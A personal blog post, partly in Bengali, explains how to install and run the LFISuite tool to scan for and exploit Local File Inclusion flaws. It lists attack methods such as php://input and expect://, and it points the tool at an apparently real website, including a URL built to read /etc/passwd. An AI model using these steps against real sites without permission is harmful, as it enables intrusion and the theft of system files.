Personal Blog of

Minhazul Asif

Personal Blog of

Minhazul Asif

LFISuite To scan and exploit LFI Vulnerability

LFISuite scan and exploit LFI Vulnerability

What is LFISuite?

 

LFI Suite is a totally automatic tool able to scan and exploit Local File Inclusion vulnerabilities using many different methods of attack, listed in the section

 

LFI Vulnerability কি?

LFI হল একটি ওয়েব দুর্বলতা যা ওয়েবসাইট বা ওয়েব অ্যাপ্লিকেশন প্রোগ্রামারদের ভুলের ফলে হয়। হ্যাকার Malicious ফাইলগুলি Inject করার জন্য এই দুর্বলতার সুবিধা নিতে পারে যার মাদ্ধমে ওয়েবসাইট / ওয়েব এপ্লিকেশন এ এক্সেস নিতে পারে।

 

LFI Suite Provides 8 different Local File Inclusion attack modalities:


● /proc/self/environ
● php://filter
● php://input
● /proc/self/fd
● access log
● phpinfo
● data://
● expect://

 

How to Use LFI Suite

 

> Kali > sudo su > password
> cd Desktop
> git clone https://github.com/D35m0nd142/LFISuite
> cd LFISuite
> ls
> la -la
> chmod +x lfisuite.py
> python2 lfisuite.py

lfusuite


If you get error put this cmd in kali

cp -r /usr/lib/python3/dist-packages/termcolor.py /usr/lib/python2.7/dist-packages

 

LFI Suite Scanner

 

● for scan select 2
● cookoies: enter
● tor proxy: no
● paths: enter
● url to scan: https://ravagedband.com/index.php?page=home.php

lfusuite

 


Check LFI Vulnerability

LFI Suite will scan your link and find LFI Vulnerability of your link (CNTRL + Z to stop scanning)

lfusuite

 

LFI Suite Exploiter

 

● for Exploiter select 1
● cookoies: enter
● tor proxy: no
● choose payloads: 1
● enter Vulnerabile URL: https://ravagedband.com/index.php?page=/etc/passwd
● choose parameter: 1

Now it will show you the result

lfusuite

 

Read more ethical hacking blogs from here.

 

 

Share on -

Related Articles

Minhazul Asif

আমি মিনহাজুল আসিফ,

Entrepreneur, Instructor, Web Developer, Freelancer & Cyber Sucurity Expert.

নিজের আইডিয়া গুলো সবার সাথে শেয়ার করার জন্য এই ব্লগ ওয়েবসাইট তৈরী করা। আশা করি আমার ব্লগ পড়ে অনেকেই উপকৃত হবে।

ক্যাটাগরি সমূহ: